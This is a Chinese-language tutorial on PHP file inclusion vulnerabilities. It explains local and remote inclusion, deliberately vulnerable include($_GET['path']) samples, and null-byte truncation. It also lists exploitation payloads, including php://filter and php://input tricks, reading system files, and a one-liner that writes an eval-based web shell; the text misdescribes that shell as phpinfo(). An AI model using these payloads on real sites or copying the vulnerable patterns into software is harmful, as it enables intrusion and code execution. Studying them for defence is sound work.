文件包含漏洞

文件包含

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。

程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量,来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞。

几乎所有的脚本语言都会提供文件包含功能。文件包含漏洞在PHP Web Application中居多,在JSP/ASP/ASP.net程序中比较少。接下来以PHP为例,说明文件包含漏洞。

漏洞产生的原因

1、web应用实现了动态包含
2、动态包含的文件路径参数,客户端可控

PHP中的文件包含

*语句
PHP中提供了四个文件包含的函数,四个函数之间略有区别。如下函数区别
include()
文件包含失败时,会产生警告,脚本会继续运行。

include_once()
与include()功能相同,文件只会被包含一次。

require()
文件包含失败时,会产生错误,直接结束脚本执行。

require_once()
与require()功能相同,文件只会被包含一次。

*相关配置
文件包含是PHP的基本功能之一,有本地文件包含和远程文件包含之分(虽然php官网上不是这么解释的)。简单来说,本地文件包含就是可以读取和打开本地文件,远程文件包含
(HTTT, FTP, PHP伪协议)就是可以远程加载文件。我们可以通过php. ini来进行配置。如下

allow_ url_ fopen=0n/0ff
本地文件包含(LFI)
allow_ url_ include=0n/0ff
远程文件包含(RFI)

文件包含示例
我们可以通过以下简单的代码来测试文件包含漏洞。准备一个include. php文件。

<?php
echo "<h1>This is include_once.php!</h1>";
include_once("./info.php");
?>

或者


<?php
$path=$_GET['path'];
include_once("./info.php");
echo "<h1>This is include_once.php!</h1>";
?>

该文件会从GET方法中获取path变量,也就是文件包含路径,然后包含此文件。创建一个文件info.php,
这个包含的文件的内容为phpinfo()。

<?php
phpinfo();
?>

然后在本地访问,如下图


然后利用动态变量测试,代码如下

<?php
$path=$_GET['path'];
echo "<h1>This is flieinclude.php!</h1>";
//include "./info.php";
if(isset($_GET['path'])){include $_GET['path'];
}else{echo "?path= info.php";
}
?>

在本地访问测试,如下图

动态变量需提交参数,效果如下

本地文件包含(LFI)

本地文件包含就是我们可以通过相对路径的方式找到文件,然后包之。
访问的URL为
[http://127.0.0.1/codes/include.php?path=info.php]。
*远程文件包含(RFI)
远程文件包含就是我们可以通过http(s)或者ftp等方式,远程加载文件。
访问的连接
http://localhost/include/include_once.php?path=http://192.168.43.204/ include/info. php

漏洞原理及特点.

*漏洞原理

PHP
文件包含是程序设计的基础功能之一,能够减少代码量,提高开发效率。但是使用文件包含功能时,有类似于以上测试代码的设计,实现了动态包含,就有产生文件包含漏洞的风险。如果实现动态包含的
参数,Web应用没有进行严格净化,客户端用户可以影响或控制文件包含的路径,就会产生文件包含漏洞。

*特点
PHP提供的文件包含功能非常强大,有以下特点

@ 无视文件扩展名读取文件
包含文件时,PHP会读取文件的源码,包括图片文件。尝试包含图片,连接为
[http://127.0.0.1/ fileInclude/fileinclude. php?path=smile.jpg]
我们发现打开图片不是图像,而是图片的源码。

@ 无条件解析PHP代码
文件包含在读取文件源码的同时,如果遇到符合PHP
语法规范的代码,就会无条件执行。例如,将info. php
的后缀名改成info. rar,依然能够显示phpinfo()信息。

如下图

这同时也为图片木马提供了一种方法。

空字符安全绕过

空字符安全限制绕过,是PHP小于5.3.4版本的一个漏洞,CVE编号是CVE-2006- 7243。这个漏洞就是PHP接收来自于路径名中的空(Null)字符,这可能允许依赖于.上下文的攻击者通过在此字符后放置安全文件扩展名来绕过预期的访问限制,也就是我们之间讲过的00截断。00截断攻击也会体现在文件包含中。

Web应用在设计时候,经常会包含模板文件,简单程序如下

<?php
if(isset($_GET['path'])){include $_GET['path'].".html";
}else{echo "?path= [path]";
}
?>

这个简单的代码限定了被包含文件的后缀名是html,
写一个HTML文件测试,例如在00文件夹中写一个hello.html文件
源码如下:
<h1>Marsper</h1>

提交URL[http: //127.0.0.1/Include/00/?path=hello]效果如下

此处我们可以通过00截断来包含任意文件,比如同级目录下的info.php文件。提交变量
[http://127.0.0.1/Include/00/?path=info.rar%00]
注意:需要关闭PHP的魔术引号。

文件包含漏洞的利用

*读取敏感文件
我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件
@ 目标主机文件存在 ( 目标文件的路径,绝对路径,相对路径)
@ 具有文件可读权限

读取本地host的文件。
?path=c:\windows\System32\drivers\etc\hosts
?path=…\Windows\System32\drivers\etc\hosts

*直接包含图片木马
可以利用文件包含漏洞直接包含图片木马。直接包含图片木马
[?path=1.png]
使用蚂蚁键连接。

*包含木马写Shell
我们也可以将如下代码写入到图片中,
<?php fputs(fopen('shell.php','w'),"<?php @eval(\$_REQUEST['cmd'])?>");?>
该段代码的含义是,在当前目录下创建一个名为[shell.php]的文件,内容为
[<?php phpinfo();?>],当我们直接包含图片的时候,这段代码就会被执行。

PHP封装协议- -访问本地文件
我们可以使用php的file协议访问本地系统文件,提交参数
[?path=file://c:\windows\System32\drivers\etc\hosts].

*PHP封装协议- -传输PHP文件
可以使用以下参数来传送任意PHP文件。
?path=php://filter/read=convert.base64-encode/resource=info.php


然后把得到的所有字符串base64解码即可得到源码。如图

*** PHP封装协议- --执行PHP命令**
我们还可以利用PHP的封装协议来执行PHP命令
先将url粘贴进burp并做一个请求


进行封装协议,将path后面的参数改为input,并写入

<?php phpinfo();?>

结果如下:

render查看一下,成功。
所以这种可以执行任意代码,属于很危险的漏洞类型。

文件包含漏洞及漏洞利用相关推荐

  1. php post 漏洞_文件包含上传漏洞目录遍历命令执行漏洞

    制丨阿星 来源丨freebuff 作者丨Deutsh 文件上传漏洞: 一句话木马 一句话木马主要由两部分组成:执行函数与 接收被执行代码的变量 执行函数: eval() assert() create ...

  2. 渗透测试 ( 0 ) --- XSS、CSRF、文件上传、文件包含、反序列化漏洞

    漏洞数据库:https://www.exploit-db.com/google-hacking-database 1.渗透测试 实用 浏览器插件 chrome.edge 插件:搜索 cookie,安装 ...

  3. 文件包含PHP伪协议利用

    文件包含 文件包含漏洞是"代码注入"的一种.其原理就是注入一段用户能控制的脚本或代码,并让服务端执行."代码注入"的典型代表就是文件包含. 要想成功利用文件包含 ...

  4. java代码审计文件包含_代码审计--一道简单的文件包含题目的多种利用方式

    不知出自哪次CTF 前言: 本萌新最近在学习代码审计, 有一天在水群聊到代码审计如何学习, 然后某dalao丢给我一道题,说你对这题有什么看法, 本萌新一看,这不是很简单吗,想也没多想就直接上去?fi ...

  5. 【文件包含漏洞03】文件包含漏洞的空字符绕过及六种利用方式

    目录 1 内容简介 本节概述 实验环境 2 空字符绕过 2.1 实验基础知识 2.2 实验环境及准备 2.3 实验步骤 2.3.1 正常访问 2.3.2 空字符绕过 2.3.3 额外的方式 3 利用方 ...

  6. 文件包含漏洞 文件伪协议利用

    目录 0x0 文件包含漏洞原理 0x1 检测文件包含漏洞 0x2 文件包含漏洞类型 0x3 文件协议流 0x4 实战 简介 #文件包含漏洞 原理,检测,类型,利用,修复等 #文件包含各个脚本代码 AS ...

  7. 89.网络安全渗透测试—[常规漏洞挖掘与利用篇5]—[文件包含漏洞详解实战示例]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.文件包含漏洞详解 1.文件包含漏洞相关概念 2.PHP文件包含漏洞相关概念 3.PHP文件包含漏洞利用:`构 ...

  8. java怎么知道上传文件是否成功_文件包含漏洞之——tomcat CVE-2020-1938漏洞复现

    这个漏洞是今年2月份出现的,他的影响范围也是非常广的. 2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020- ...

  9. 10_文件包含漏洞(属于任意代码执行)

    一.背景介绍 随着网站业务的需求,web脚本可能允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式. 二.漏洞成因 文件包含 ...

  10. 文件操作之文件包含漏洞

    目录 本文仅供参考.交流.学习,如有违法行为后果自负 文件包含类型 原理方面 文件包含漏洞原理案例: 必要条件 那么如何去检测漏洞是否存在该漏洞? 白盒 黑盒 类型 本地文件包含 无限制 有限制 远程 ...

最新文章

  1. ios 证书更新需要重新发布么_福利站证书更新,自己有空余时间一定要学会自己用电脑签名!...
  2. django html文本编辑器,django xadmin 集成DjangoUeditor富文本编辑器
  3. PAT A1023 sort cmp字典序比较
  4. 数据库02_字段类型
  5. 我在攻读计算机视觉和机器学习硕士学位时学到了什么
  6. 织梦php添加函数调用,dedecms自定义函数及实际案例调用
  7. 翻译连载 | JavaScript轻量级函数式编程-第5章:减少副作用 |《你不知道的JS》姊妹篇...
  8. AndroidStudio安卓原生开发_打包apk安装文件---Android原生开发工作笔记130
  9. ORACLE SQL - UPDATE、DELETE、INSERT优化和使用技巧
  10. Nginx监控数据采集与分析
  11. infiniband, fiber channel,RDMA
  12. 伍德里奇计量经济学第六章计算机答案,伍德里奇计量经济学导论计算机习题第六章第13题c_6.13...
  13. 08cms cecore.cls.php,动态分析小示例|08CMS SQL 注入分析
  14. java鼠标点击按钮事件_Java学习——GUI编程(鼠标单击按钮事件)
  15. Vue进阶(幺零三):Markdown 基本语法
  16. js 按照中文拼音来排序
  17. OSI七层网络模型介绍
  18. 移动硬盘错误检查与快速修复方法
  19. map什么意思java_map的意思是什么,java中Maplt;?,?gt;是什么意思
  20. (转)iOS开发-常用第三方开源框架介绍(你了解的ios只是冰山一角)

热门文章

  1. 推广网店的12个秘诀
  2. 使用node-ffmpeg将m4a转换为mp3
  3. 青龙面板基本脚本运行必装依赖 一键式安装脚本安装依赖 2023年3月28日
  4. Ping 1000个包看丢跑率
  5. 联想小新 青春版-14笔记本电脑重装系统教程
  6. 深层学习:心智如何超越经验3.1 创造性问题
  7. 【微信小程序】模板消息推送(测试成功)。
  8. 敏捷已死:一场程序员们历经20年的失败反叛
  9. 10 个可以副业赚钱的网站,总有一个适合你
  10. 3D场景搭建的隐秘功能——时间轴